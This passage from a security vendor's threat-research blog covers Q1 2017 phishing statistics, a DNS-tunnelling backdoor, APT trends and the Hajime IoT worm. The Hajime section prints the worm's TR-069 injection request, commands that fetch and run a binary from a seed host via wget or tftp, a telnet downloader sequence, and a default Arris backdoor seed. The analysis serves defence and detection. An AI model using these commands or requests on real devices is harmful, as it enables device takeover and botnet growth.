Italy (7.87%), Brazil (6.04%) and Japan (4.04%) came next, with Russia occupying seventh place with a share of 3.93%. The US was in ninth place with (2.46%), while Vietnam (1.94%) completed the Top 10.

Phishing

In the first quarter of 2017, the Anti-Phishing system was triggered 51,321,809 times on the computers of Kaspersky Lab users. Overall, 9.31% of unique users of Kaspersky Lab products worldwide were attacked by phishers in Q1 2017.

Geography of attacks

China (20.88%) remained the country where the largest percentage of users is affected by phishing attacks, although its share decreased by 1.67 p.p.

Geography of phishing attacks*, Q1 2017

* Number of users on whose computers the Anti-Phishing system was triggered as a percentage of the total number of Kaspersky Lab users in the country

The percentage of attacked users in Brazil decreased by 0.8 p.p. and amounted to 19.16%, placing the country second in this ranking. Macao added 0.91 p.p. to the previous quarter’s figure and came third with 11.94%. Russia came fourth with 11.29% (+0.73 p.p.), followed by and Australia on 10.73% (-0.37p.p).

TOP 10 countries by percentage of users attacked

Country % China 20.87% Brazil 19.16% Macao 11.94% Russia 11.29% Australia 10.73% Argentina 10.42% New Zealand 10.18% Qatar 9.87% Kazakhstan 9.61% Taiwan 9.27%

Argentina (10.42%, +1.78 p.p.), New Zealand (10.18%), Qatar (9.87%), Kazakhstan (9.61%) and Taiwan (9.27%) completed the top 10.

Organizations under attack Rating the categories of organizations attacked by phishers

The rating of attacks by phishers on different categories of organizations is based on detections of Kaspersky Lab’s heuristic anti-phishing component. It is activated every time a user attempts to open a phishing page while information about it has not yet been included in Kaspersky Lab’s databases. It does not matter how the user attempts to open the page – by clicking a link in a phishing email or in a message on a social network or, for example, as a result of malware activity. After the security system is activated, a banner is displayed in the browser warning the user about a potential threat.

In Q1 2017, the ‘Banks’ (25.82%, -0.53 p.p.), ‘Payment systems’ (13.6%, +2.23 p.p.) and ‘Online stores’ (10.89%, +0.48 p.p.) categories accounted for more than half of all registered attacks. The total share of ‘Financial organizations’ was a little over 50% of all phishing attack

Distribution of organizations affected by phishing attacks by category, Q1 2017

In addition to financial organizations, phishers most often targeted ‘Global Internet portals’ (19.1%), although their share decreased by 5.25 p.p. from the previous quarter. ‘Social networking sites’ (9.56%) and ‘Telecommunication companies’ (5.93%) also saw their shares fall by 0.32 p.p. and 0.83 p.p. respectively. The percentage of the ‘Online games’ category accounted for 1.65% while the figure for ‘Instant messaging’ was 1.53%.

TOP 3 attacked organizations

Fraudsters continue to focus most of their attention on the most popular brands, enhancing their chances of a successful phishing attack. More than half of all detections of Kaspersky Lab’s heuristic anti-phishing component are for phishing pages using the names of fewer than 15 companies.

In Q1 2017, Kaspersky Lab products blocked 51 million attempts to open a phishing page.

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The TOP 3 organizations attacked most frequently by phishers remained unchanged for the second quarter in a row. Yahoo! was once again the organization whose brand was mentioned most often on phishing pages (7.57%, – 1.16 p.p.). Facebook (7.24%), whose share fell by 0.13 p.p., was second, while Microsoft (5.39%, -0.83 p.p.) came third.

Organization % of detected phishing links Yahoo! 7.57 Facebook 7.24 Microsoft Corporation 5.39

In order to reach the widest possible audience with one attack, scammers often mention a variety of brands expecting the victims to react to at least one of them. This is facilitated by authentication with existing accounts, which many Internet services use trying to make life easier for their users. Therefore, a page offering to use different accounts to enter a site does not arouse suspicions. This allows fraudsters to steal user data from several different resources using just one phishing page.

Phishing page prompting the user to login via the accounts of other web resources to access a file

This phishing page uses a similar trick under the pretext of accessing the Google Drive service

Hot topics this quarter Payment systems

In the first quarter Q1 2017, 13.6% of detections of Kaspersky Lab’s heuristic anti-phishing component fell under the ‘Payment Systems’ category. It means that every eighth attack targeted this category, which has been popular with phishers for several quarters now.

PayPal (28.25%) came first on the list of attacked payment systems, followed by Visa (25.78%) and American Express (24.38%).

Organization %* PayPal 28.25 Visa Inc. 25.78 American Express 24.38 MasterCard International 16.66 Others 4.94

* The percentage of attacks on an organization as a total of all attacks on organizations from the ‘Payment Systems’ category

The goal of phishers attacking customers of popular payment systems is to get personal and payment data, login details for accounts, etc. Criminals often place fraudulent content on reputable resources in order to gain the trust of the user and bypass blacklisting. For example, we came across a fake PayPal support page located on the Google Sites service (the primary domain is google.com). After clicking on the banner, the user is redirected to a phishing page, where they are asked to enter their account data for the payment system.

Phishing page using the PayPal brand located on the Google domain

Another trick used by phishers is to place phishing content on the servers of government agencies. This is possible because a significant number of government agencies do not pay much attention to the security of their web resources.

Phishing page using the PayPal brand located on a server belonging to Sri Lankan government

Phishing page using the PayPal brand located on a server belonging to the Bangladesh government

Emails threatening to block an account or asking to update data in a payment system were used as bait.

Online stores

Every tenth phishing attack targeted users of online stores. In Q1 2017, Amazon (39.13%) was the most popular brand with phishers.

Organization % Amazon.com: Online Shopping 39.13 Apple 15.43 Steam 6.5 eBay 5.15 Alibaba Group 2.87 Taobao 2.54 Other targets 28.38

By using the Amazon brand, cybercriminals are trying not only to steal login data but also all the personal information of the user, including their bank card details. Also, they often place fake pages on domains that have a good reputation (for example, on a domain owned by Vodafone).

Phishing page using the Amazon brand located on the Vodafone domain

Earning money with anti-phishing

In addition to standard phishing emails and pages, we often come across other methods of tricking users. Scammers often exploit people’s desire to make easy money by offering cash to view advertising, automatic stock trading programs and much more.

Spam emails offering quick money on the Internet

In the first quarter of 2017, we saw a rather interesting fraudulent resource which claimed to be combating phishing sites. All you had to do if you wanted to make some quick cash was to register and perform several tasks, the essence of which was to evaluate web pages using the following options: malicious, safe, does not load. Only the content of the page was evaluated, while its address was not displayed.

After checking 31 sites, it turned out that $7 needed to be paid to withdraw the money that was earned

For each ‘checked’ site, the user earned about $3. To withdraw that money, they had to transfer $7 to the owners of the resource as confirmation that they were an adult and financially solvent. Of course, no ‘earnings’ were ever received after that.

Conclusion

Although the beginning of Q1 2017 was marked by a decline in the amount of spam in overall global email traffic, in March the situation became more stable, and the average share of spam for the quarter amounted to 55.9%. The US (18.75%) remained the biggest source of spam, followed by Vietnam (7.86%) and China (7.77%).

The first quarter of 2017 was also notable for the decrease in the volume of malicious spam sent from the Necurs botnet: the number of such mass mailings decreased significantly compared to the previous reporting period. However, the lull may be temporary: the attackers may have decided to suspend mass mailings until all the hype about encryptors subsides.

Trojan-Downloader.JS.Agent (6.14%) once again topped the rating of the most popular malware families detected in email. Trojan-Downloader.JS.SLoad (3.79%) came second, while Trojan-PSW.Win32.Fareit (3.10%) completed the top three.

In Q1 2017, the Anti-Phishing system was triggered 51,321,809 times on the computers of Kaspersky Lab users. China (20.88%) topped the rating of countries most often attacked by phishers. Financial organizations remained the main target for phishers, and we expect this trend to continue in the future.

Use of DNS Tunneling for C&C Communications

Malware Alerts - Fri, 04/28/2017 - 05:59

Say my name.

127.0.0.1!

You are goddamn right.

Network communication is a key function for any malicious program. Yes, there are exceptions, such as cryptors and ransomware Trojans that can do their job just fine without using the Internet. However, they also require their victims to establish contact with the threat actor so they can send the ransom and recover their encrypted data. If we omit these two and have a look at the types of malware that have no communication with a C&C and/or threat actor, all that remains are a few outdated or extinct families of malware (such as Trojan-ArcBomb), or irrelevant, crudely made prankware that usually does nothing more than scare the user with screamers or switches mouse buttons.

Malware has come a long way since the Morris worm, and the authors never stop looking for new ways to maintain communication with their creations. Some create complex, multi-tier authentication and management protocols that can take weeks or even months for analysists to decipher. Others go back to the basics and use IRC servers as a management host – as we saw in the recent case of Mirai and its numerous clones.

Often, virus writers don’t even bother to run encryption or mask their communications: instructions and related information is sent in plain text, which comes in handy for a researcher analyzing the bot. This approach is typical of incompetent cybercriminals or even experienced programmers who don’t have much experience developing malware.

However, you do get the occasional off-the-wall approaches that don’t fall into either of the above categories. Take, for instance, the case of a Trojan that Kaspersky Lab researchers discovered in mid-March and which establishes a DNS tunnel for communication with the C&C server.

The malicious program in question is detected by Kaspersky Lab products as Backdoor.Win32.Denis. This Trojan enables an intruder to manipulate the file system, run arbitrary commands and run loadable modules.

Encryption

Just like lots of other Trojans before it, Backdoor.Win32.Denis extracts the addresses of the functions it needs to operate from loaded DLLs. However, instead of calculating the checksums of the names in the export table (which is what normally happens), this Trojan simply compares the names of the API calls against a list. The list of API names is encrypted by subtracting 128 from each symbol of the function name.

It should be noted that the bot uses two versions of encryption: for API call names and the strings required for it to operate, it does the subtraction from every byte; for DLLs, it subtracts from every other byte. To load DLLs using their names, LoadLibraryW is used, meaning wide strings are required.

‘Decrypting’ strings in the Trojan

Names of API functions and libraries in encrypted format

It should also be noted that only some of the functions are decrypted like this. In the body of the Trojan, references to extracted functions alternate with references to functions received from the loader.

C&C Communication

The principle behind a DNS tunnel’s operation can be summed up as: “If you don’t know, ask somebody else”. When a DNS server receives a DNS request with an address to be resolved, the server starts looking for it in its database. If the record isn’t found, the server sends a request to the domain stated in the database.

Let’s see how this works when a request arrives with the URL Y3VyaW9zaXR5.example.com to be resolved. The DNS server receives this request and first attempts to find the domain extension ‘.com’, then ‘example.com’, but then it fails to find ‘Y3VyaW9zaXR5.example.com’ in its database. It then forwards the request to example.com and asks it if such a name is known to it. In response, example.com is expected to return the appropriate IP; however, it can return an arbitrary string, including C&C instructions.

Dump of Backdoor.Win32.Denis traffic

This is what Backdoor.Win32.Denis does. The DNS request is sent first to 8.8.8.8, then forwarded to z.teriava[.]com. Everything that comes before this address is the text of the request sent to the C&C.

Here is the response:

DNS packet received in response to the first request

Obviously, the request sent to the C&C is encrypted with Base64. The original request is a sequence of zeros and the result of GetTickCount at the end. The bot subsequently receives its unique ID and uses it for identification at the start of the packet.

The instruction number is sent in the fifth DWORD, if we count from the start of the section highlighted green in the diagram above. Next comes the size of the data received from C&C. The data, packed using zlib, begins immediately after that.

The unpacked C&C response

The first four bytes are the data size. All that comes next is the data, which may vary depending on the type of instruction. In this case, it’s the unique ID of the bot, as mentioned earlier. We should point out that the data in the packet is in big-endian format.

The bot ID (highlighted) is stated at the beginning of each request sent to the C&C

C&C Instructions

Altogether, there are 16 instructions the Trojan can handle, although the number of the last instruction is 20. Most of the instructions concern interaction with the file system of the attacked computer. Also, there are capabilities to gain info about open windows, call an arbitrary API or obtain brief info about the system. Let us look into the last of these in more detail, as this instruction is executed first.

Complete list of C&C instructions

Information about the infected computer, sent to the C&C

As can be seen in the screenshot above, the bot sends the computer name and the user name to the C&C, as well as the info stored in the registry branch Software\INSUFFICIENT\INSUFFICIENT.INI:

  • Time when that specific instruction was last executed. (If executed for the first time, ‘GetSystemTimeAsFileTime’ is returned, and the variable BounceTime is set, in which the result is written);
  • UsageCount from the same registry branch.

Information about the operating system and the environment is also sent. This info is obtained with the help of NetWkstaGetInfo.

The data is packed using zlib.

The DNS response prior to Base64 encryption

The fields in the response are as follows (only the section highlighted in red with data and size varies depending on the instruction):

  • Bot ID;
  • Size of the previous C&C response;
  • The third DWORD in the C&C response;
  • Always equals 1 for a response;
  • GetTickCount();
  • Size of data after the specified field;
  • Size of response;
  • Actual response.

After the registration stage is complete, the Trojan begins to query the C&C in an infinite loop. When no instructions are sent, the communication looks like a series of empty queries and responses.

Sequence of empty queries sent to the C&C

Conclusion

The use of a DNS tunneling for communication, as used by Backdoor.Win32.Denis, is a very rare occurrence, albeit not unique. A similar technique was previously used in some POS Trojans and in some APTs (e.g. Backdoor.Win32.Gulpix in the PlugX family). However, this use of the DNS protocol is new on PCs. We presume this method is likely to become increasingly popular with malware writers. We’ll keep an eye on how this method is implemented in malicious programs in future.

MD5

facec411b6d6aa23ff80d1366633ea7a
018433e8e815d9d2065e57b759202edc
1a4d58e281103fea2a4ccbfab93f74d2
5394b09cf2a0b3d1caaecc46c0e502e3
5421781c2c05e64ef20be54e2ee32e37

APT Trends report, Q1 2017

Malware Alerts - Thu, 04/27/2017 - 04:58

Kaspersky Lab is currently tracking more than a hundred threat actors and sophisticated malicious operations targeting commercial and government organizations in over 80 countries. During the first quarter of 2017, there were 33 private reports released to subscribers of our Intelligence Services, with Indicators of Compromise (IOC) data and YARA rules to assist in forensics and malware-hunting.

We continue to observe a sharp rise in the sophistication of attacks with nation-state backing and a merger of tactics, techniques, and procedures (TTPs) between APT actors and financially motivated cybercriminals. We have witnessed the Middle East becoming one of the major cyber battlefields. At the same time, during Q1 2017, the discovery of a new Wiper victim in Europe raised eyebrows and suggested that these kinds of destructive attacks have now spread beyond the Middle East.

In this report, we discuss the targeted attack highlights from the first quarter of 2017, and discuss some emerging trends that demand immediate attention.

Highlights in targeted attacks Evolution of Wipers: a new weapon for APT actors

During the last few months a new wave of wiper attacks, mainly focused against Saudi interests, raised a red flag for many companies, and for a good reason. The new wave of Shamoon attacks apparently relied on stolen credentials from Active Directory for their internal distribution stage. The investigation of these attacks lead us to the discovery of a new wiper we called StoneDrill.

We believe both Shamoon and StoneDrill groups are aligned in their interests, but are two separate actors, which might also indicate two different groups working together.

Our technical analysis of StoneDrill lead to the discovery of old samples (2014) in our collection that share their base code with the new StoneDrill samples. Interestingly, these old samples were attributed to the NewsBeef (Charming Kitten) group. The similarities between samples include sharing the same credentials (username and password) for C2 communications, which establish a very strong link between them.

Figure 1. Credentials used for C2 communication both in StoneDrill and NewsBeef samples

We believe that StoneDrill might be a more recent version of NewsBeef artifacts, effectively relating the known APT actor with this new wave of wiper attacks.

In addition, and related to the Shamoon attacks, we have collected different artifacts that might have been used by the actor during the first stages of attack. This first stage is critical, as credentials need to be stolen for the subsequent distribution of the malware at the victim’s premises.

Ismdoor is a backdoor found to be related to the Shamoon attacks, and might serve well for the attackers’ purposes. This tool was found mainly in Saudi Arabia and belongs to the oil and energy industry. The analysis revealed very interesting details about additional tools used by the attackers for lateral movement, which were mainly based in Powershell-based exploitation frameworks, following the trend of using fileless generic malware explained later in this report.

Finally, it is remarkable that we have detected the first victim of StoneDrill in Europe. The victim belongs to the energy industry, something which might be an indicator that this actor is spreading out of the Middle East. After attributing this wiper with what we believe might be a government-sponsored actor, this fact is highly worrying, as it might indicate a geopolitically-motivated spread of cyber-sabotage operations. This last assumption is yet to be confirmed.

Summary:

  • Wipers are now extending their geography

  • Wipers are now a part of the arsenal of APT groups. They can be used in destructive operations, as well as for deleting traces after a cyberespionage operation.

  • One of the modules used in the last Shamoon wave of attacks had ransomware capabilities, which might be considered another form of not-so-obvious wiping.

  • The fact that these destructive operations against energy companies might be related to some government sponsored APT actors is definitely worrying, and surpasses typical espionage operations.

BlueNoroff/Lazarus: bank robbery, evolved

A massive waterhole attack targeting Polish banks was publicly disclosed on 3 February, 2017. The attack leveraged the webserver of a Polish financial sector regulatory body, the Polish Financial Supervision Authority (www.knf.gov.pl), which was hacked and used to redirect users to an exploit kit. A very similar technique was used against the Mexican financial authority at the same time, and even if no other victims of this group were made public, it is very likely that more banks were also similarly affected.

Our analysis linked the attack with the BlueNoroff/Lazarus group, which has been responsible for multiple other bank attacks, including the famous Bangladesh bank heist. This waterhole attack revealed, for the first time, one of the strategies used by BlueNoroff for gaining a foothold in its target organizations. Although the attack didn’t use any zero days, the Flash Player and Silverlight exploit appeared to be enough to compromise a large number of banks, which were running on outdated software.

Indeed, we started tracking the BlueNoroff actor a long time ago. We originally saw this actor trying to infect banks in the South-East Asian region. BlueNoroff has developed a characteristic set of tools for lateral movement inside targeted organizations, and in several cases attempted tampering with SWIFT software for cashing out. This technique showed its enormous potential with the Bangladesh central bank heists, where attackers attempted to steal more than 900 million USD. In the February “Polish case”, we saw the group reusing these known lateral movements tools repackaged for their new wave of victims. This provided us with a high degree of confidence in attributing the attack to this actor.

Interestingly, the BlueNoroff group planted Russian words within the code, to derail investigators and avoid attribution. The code contained grammar errors a native Russian speaker wouldn’t make, and sentences were likely translated using online tools.

Summary:

  • We believe BlueNoroff is one of the most active groups in terms of attacks against financial institutions and is trying to actively infect different victims in several regions.
  • We think their operations are still ongoing, and in fact, their most recent malware samples were found in March 2017.
  • At the moment we believe BlueNoroff is probably the most serious threat against banks.
Fileless malware: enough for the job with no attribution

Avoiding attribution is one of the key goals for many APT actors, especially since a large number of operations have been exposed in recent last years. For the most sophisticated groups, the problem is that they already have their well established procedures, specially crafted tools and training, that do not always allow them to stay unnoticed.

But that is not the case for the not-so-big actors or cybercriminals. Rather than creating and having their own tools, these use generic tools that are good enough to complete an operation, and provide an evident economic advantage, with the added value of making both analysis of the incident and attribution to a particular actor more difficult.

Nowadays there is a large number of different frameworks providing cyber-actors with many options, especially for lateral movement. This category includes Nishang, Empire, Powercat, Meterpreter, etc. Interestingly, most of these are based on Powershell, and allow the use of fileless backdoors.

We have seen such techniques being widely adopted in the last few months. We find examples in the lateral movement tools used in Shamoon attacks, in attacks against Eastern European banks, and used by different APT actors such as CloudComputating, Lungen or HiddenGecko, as well as in the evolution of old backdoors like Hikit, which evolved to new fileless versions.

This trend makes traditional forensic analysis harder, traditional IOCs such as file hashes obsolete, application whitelisting more difficult, and antivirus evasion easier. It also helps to evade most of the log activity.

On the other hand, attackers usually need to escalate privileges or steal administrator credentials, they don´t usually have a reboot survival mechanism in the machines they want to infect, and they rely on accessing them when they are reconnected to the infected network. The use of standard tools in the victim environment might also limit their options. This new paradigm is still unfolding and the best practices from a defense perspective are currently not totally clear. However, we offer our recommendations in the final section of this document.

Summary:

  • No malware samples are needed for the successful exfiltration of data from a network.
  • The use of standard and open source utilities, combined with different tricks, makes detection and attribution almost impossible.
  • The determination of attackers to hide their activity and make detection and incident response increasingly difficult explains the latest trend of anti-forensic techniques and memory-based malware. That is why memory forensics is becoming critical to the analysis of malware and its functions.
  • Incident response in cases like this is key.
How to keep yourself protected

Exploiting vulnerabilities remains a key approach to infecting systems, therefore timely patching is of utmost importance – which, being one of the most tedious IT maintenance tasks, works much better with good automation. Kaspersky Endpoint Security for Business Advanced and Kaspersky Total Security include Vulnerability & Patch management components, offering convenient tools for making patching much easier, and much less time-consuming for IT staff.

Given the trend of using Powershell-based techniques, including bodiless malware scenarios, you need to make sure that your security solution is aware of such specifics. All tiers of Kaspersky Security Endpoint Security for Business as well as Kaspersky Security for Virtualization possess the broadest range of machine learning-powered detection techniques including those specifically taking care of malware using Powershell. Our behavioral System Watcher technology is also aware of specific Wiper activities like mass file deletion; after blocking the malware, its Rollback feature brings important user files back from their deleted state.

Still, it is necessary to understand that targeted attacks are dangerous not only because of their sophistication (which sometimes is not the case), but because they are usually well-prepared, and try to leverage security gaps unobvious to their targets.

Therefore, it is highly recommended that you arm yourself not only with prevention (such as endpoint protection) but also with detection capabilities, specifically with a solution that can detect anomalies in the whole network’s ongoing activities, and scrutinize suspicious files at a much deeper level than it is possible on users’ endpoints. Kaspersky Anti Targeted Attack is an intellectual detection platform that matches events coming from different infrastructure levels, discerns anomalies and aggregates them into incidents, while also studying related artifacts in a safe environment of a sandbox. As with most Kaspersky products, Kaspersky Anti Targeted Attack is powered by HuMachine Intelligence, which is backed by on premise and in lab-running machine learning processes coupled with real-time analyst expertise and our understanding of threat intelligence big data.

And the best way to prevent the attackers from finding and leveraging security holes is getting rid of them all, including those involving improper system configurations or errors in proprietary applications. For this, Kaspersky Penetration Testing and Application Security Assessment services can become a convenient and highly effective solution, providing not only data on found vulnerabilities, but also advising on how to fix it, further strengthening corporate security.

Hajime, the mysterious evolving botnet

Malware Alerts - Tue, 04/25/2017 - 04:58

Introduction

Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown.

Hajime is continuously evolving, adding and removing features over time. The malware authors are mainly reliant on very low levels of security.

In this blogpost we outline some of the recent ‘improvements’ to Hajime, some techniques that haven’t been made public, and some statistics about infected IoT devices.

ATK module improvements

First of all, let’s take a look at the changes made to the attack module recently. Currently, the ATK (attack) module supports three different attack methods which help to propagate the worm on different IoT devices:

  1. TR-069 exploitation;
  2. Telnet default password attack;
  3. Arris cable modem password of the day attack.

Of these three attacks, the TR-069 exploit is a new one, implemented recently by the attackers.

Technical Report 069 is a standard published by the Broadband Forum, which is an industry organization defining standards used to manage broadband networks. Many ISPs and device manufacturers are members of the Broadband Forum. TR-069 allows ISPs to manage modems remotely. TCP port 7547 has been assigned to this protocol, but some devices appear to use port 5555 instead.

The TR-069 NewNTPServer feature can be used to execute arbitrary commands on vulnerable devices. In order to do so, the exploit starts by connecting to port 7547 and then sends the following HTTP request:

GET / HTTP/1.1

Host: VICTIM_HOST:VICTIM_PORT

User-Agent: RANDOM_USER_AGENT

Content-Type: text/xml

Content-Length: 0

Where RANDOM_USER_AGENT is chosen from the following list:

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7

After some checks, it sends the following request to trigger the vulnerability:

POST /UD/act?1 HTTP/1.1

Host: VICTIM_HOST:VICTIM_PORT

User-Agent: RANDOM_USER_AGENT

Content-Type: text/xml

Content-Length: BODY_LENGTH

SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers

<?xml version=”1.0″?>

<SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” SOAP-ENV:encodinghttp://schemas.xmlsoap.org/soap/encoding//”>http://schemas.xmlsoap.org/soap/encoding/“>

<SOAP-ENV:Body>

<u:SetNTPServers xmlns:u=”urn:dslforum-org:service:Time:1″>

<NewNTPServer1>INJECT_COMMANDS</NewNTPServer1>

<NewNTPServer2></NewNTPServer2>

<NewNTPServer3></NewNTPServer3>

<NewNTPServer4></NewNTPServer4>

<NewNTPServer5></NewNTPServer5>

</u:SetNTPServers>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

The INJECT_COMMANDS can either be:

cd /tmp;tftp -l<INT_ARCH_ID> -r<INT_ARCH_ID> -g <SEED_IP_PORT>;chmod 777 <INT_ARCH_ID>;./<INT_ARCH_ID>

or:

cd /tmp;wget http://<SEED_IP_PORT>/<INT_ARCH_ID>;chmod 777 <INT_ARCH_ID>;./<INT_ARCH_ID>

Once the vulnerable device executes the commands specified in INJECT_COMMANDS, the device is infected and becomes part of the botnet.

Architecture detection

With the addition of the new attack vector as described above, it would make sense to improve the architecture detection logic. This is because Hajime doesn’t attack any specific type of device, but rather any device on the Internet with the exception of several networks (it does has some logic to speed up attacks on specific devices though – see the next section). And this is exactly what they did, though strangely enough this only holds for the Telnet attack.

Once the attack successfully passes the authentication stage, the first 52 bytes of the victim’s echo binary are read. The first 20 bytes, which is the ELF header, hold information about the architecture, operating system and other fields. The victim’s echo ELF header is then compared against a predefined array, containing the Hajime stub downloader binaries for different architectures. This way the correct Hajime-downloader binary that works on the victim’s machine, can be uploaded from the attacker (which is actually the infected device that started the attack).

But before this, the host and port that the malware will be downloaded from needs to be set. The Hajime stub downloader binary has these values filled up with 0xCC bytes by default. To solve this, they are fixed on the fly right before connecting.

Furthermore the downloader needs to be patched with the WAN interface’s name. The attackers have a clever trick, where they ‘echo’ the binary to a file (“.s”), set the WAN interface name and then echo the last part of the binary (see below).

echo -ne “DOWNLOADER_HEX_BYTES” >> .s

(route -n | grep UG | grep lbr0 && echo -n lbr0 >> .s) || (route -n | grep UG | grep mta0 && echo -n mta0 >> .s)

echo -ne “DOWNLOADER_HEX_BYTES” >> .s

./.s>.i; chmod +x .i; ./.i; rm .s;

exit

“Smart” password bruteforcing

Even though Hajime can attack any device, the authors nevertheless focused on some specific brands/devices. For example, if after opening a telnet session the welcome message contains one of the following words, then the bruteforcing starts with a specific username-password combination.

Password hint words:

(none)

host

Welcome to ATP Cli

STAR-NET ADSL2+ Router

Mdm9625

BCM

MikroTik

SMC

P-2612HNU

ipc

dvrdvs

F660

F609

One string that is not listed above is that of “ARRIS”, because if this string is found, the attack changes slightly. The Atk module uses a specially crafted password of the day for the Arris cable modem instead of using the static telnet passwords. The ARRIS password of the day is a remote backdoor known since 2009. It uses a DES encoded seed (set by the ISP using the arrisCmDoc30AccessClientSeed MIB) to generate a daily password. The default seed is “MPSJKMDHAI” and many ISPs don’t bother changing it at all. After successful authentication the module gains access to a remote shell and can execute commands.

Victimology

While working on this blogpost, we collected statistics using three different methods:

  1. We had a honeypot with telnet open;
  2. We looked at the infected peers as DHT seeders;
  3. We looked at the infected peers as DHT leechers;

Of these three methods, the DHT leecher count proved to be the best. By announcing on the DHT network with a peer id similar to that day’s identifier of the configuration file we were able to be the “nearest” node and collected requests from almost every infected device.

The DHT seeder count is an inverse method; we were requesting the Hajime config and receiving the lists of seeding nodes. Due to the limitations of the DHT architecture we can see most of the leechers, but not most of the seeders. Therefore, the seeder data is of less relevance than the leecher data.

Geography of telnet attackers

Our honeypot registered 2,593 successful telnet Hajime attacks in 24 hours. 2,540 of them were from unique IP addresses, 949 hosts provided a payload and 528 had an active web server running at port 80/tcp.

Distribution of attackers by country Vietnam 509 20.04% Taiwan 327 12.87% Brazil 227 8.94% Turkey 167 6.57% Korea 150 5.91% India 141 5.55% China 97 3.82% Russia 72 2.83% Romania 69 2.72% Colombia 58 2.28% Mexico 54 2.13% Others 669 26.34% Total 2540 Victim device web server analysis

The HTTP server version is typically shown in the HTTP server response headers. After a little analysis we see that most of the victims turn out to be DVRs, followed by web cameras, routers, etc.

http header “Server” statistics 364 Server: uc-httpd 1.0.0 43 Server: WCY_WEBServer/2.0 9 Server: Boa/0.94.14rc21 4 Server: thttpd/2.25b-lxc 29dec2003 3 Server: Router Webserver 2 Server: GoAhead-Webs 2 Server: JAWS/1.0 May 26 2014 2 Server: nginx/1.4.4 1 Server: DNVRS-Webs 1 Server: IPCamera-Webs 1 Server: IPCamera-Webs/2.5.0 1 Server: JAWS/1.0 Aug 21 2013 1 Server: JAWS/1.0 Jul 9 2013 1 Server: JAWS/1.0 Jun 13 2013 1 Server: JAWS/1.0 Jun 25 2013 1 Server: JAWS/1.0 Mar 20 2014 1 Server: JAWS/1.0 May 13 2013 1 Server: Microsoft-IIS/7.5 1 Server: Web server 1 Server: WebServer Web interface “title” statistics 315 NETSurveillance WEB 84 WEB SERVICE 37 NETSuveillance WEB 36 IVSWeb 2.0 – Welcome 21 9 main page 6 NEUTRON 4 WEB SURVEILLANCE 3 CPPLUS DVR –Web View 2 IVSWeb 2.0 – Добро пожаловать 2 IVSWEB_TITLE – IVSWEB_LOGIN_TITLE 2 replace 1 CPPLUS DVR–Web View 1 GIGA Security 1 IIS7 1 iProview Web 2.0 – Welcome 1 IVSWeb 2.0 – Hoş geldiniz 1 IVSWeb 2.0 – Witamy 1 WATASHI SERVICE Geography of infected peers as DHT seeders

Throughout the research period, at least 15,888 unique infected boxes were revealed, though this number is not very accurate. All of them were seeding Hajime config.

Distribution of infected boxes by country Iran 2285 14.38% Vietnam 1819 11.45% Brazil 1102 6.94% Turkey 911 5.73% China 909 5.72% Taiwan 805 5.07% Russia 747 4.70% India 642 4.04% Korea 624 3.93% Mexico 542 3.41% Others 5502 34.63% Total 15888 Geoip of infected peers as DHT leechers

This method revealed 297,499 unique infected hosts during the research period. All of them were requesting Hajime config.

Distribution of leechers by country Iran 58465 19.65% Brazil 26188 8.80% Vietnam 23418 7.87% Russia 22268 7.49% Turkey 18312 6.16% India 16445 5.53% Pakistan 14069 4.73% Italy 10530 3.54% Taiwan 10486 3.52% Australia 9436 3.17% Others 87882 29.54% Total 297499 Conclusion

The most intriguing thing about Hajime is its purpose. While the botnet is getting bigger and bigger, partly due to new exploitation modules, its purpose remains unknown. We haven’t seen it being used in any type of attack or malicious activity. And maybe this will never happen, because every time a new configuration file is downloaded, a piece of text is displayed through stdout while the new configuration is being processed:

Example message:

Whether the author’s message is true or not remains to be seen. Nevertheless, we advise owners of IoT devices to change the password of their devices to one that’s difficult to brute force and to update the firmware if possible.

Kaspersky Labs products detect this threat as Backdoor.Linux.Hajime.

Appendix

Hajime avoids this ip subnetworks (which hardcoded in a module):

85.159.0.0/16 Ukraine; Region Vinnyts’ka Oblast’
109.201.0.0/16 Iran, Islamic Republic of; Region Tehran
77.247.0.0/16 Germany Virtela Communications Inc Amsterdam, NL POP
169.255.0.0/16 South Africa; Region Gauteng

0.0.0.0/8 IANA – Local Identification
3.0.0.0/8 General Electric Company
15.0.0.0/8 Hewlett-Packard Company
16.0.0.0/8 Hewlett-Packard Company
56.0.0.0/8 US Postal Service
224.0.0.0/4 Multicast

United States Department of Defense:

6.0.0.0/8
7.0.0.0/8
11.0.0.0/8
21.0.0.0/8
22.0.0.0/8
26.0.0.0/8
28.0.0.0/8
29.0.0.0/8
30.0.0.0/8
33.0.0.0/8
55.0.0.0/8
214.0.0.0/8
215.0.0.0/8

Private networks:

192.168.0.0/16
172.16.0.0/12
127.0.0.0/8
10.0.0.0/8
100.64.0.0/10
198.18.0.0/15

XPan, I am your father

Malware Alerts - Mon, 04/24/2017 - 04:55

While we have previously written on the now infamous XPan ransomware family, some of it’s variants are still affecting users primarily located in Brazil. Harvesting victims via weakly protected RDP (remote desktop protocol) connections, criminals are manually installing the ransomware and encrypting any files which can be found on the system.

Interestingly, this XPan variant is not necessarily new in the malware ecosystem. However, someone has chosen to keep on infecting victims with it, encouraging security researchers to hunt for samples related to the increasing number of incident reports. This sample is what could be considered as the “father” of other XPan ransomware variants. A considerable amount of indicators within the source code depict the early origins of this sample.

“Recupere seus arquivos aqui.txt” loosely translated to “recover your files here” is a phrase that not many Brazilian users are eager to see in their desktops.

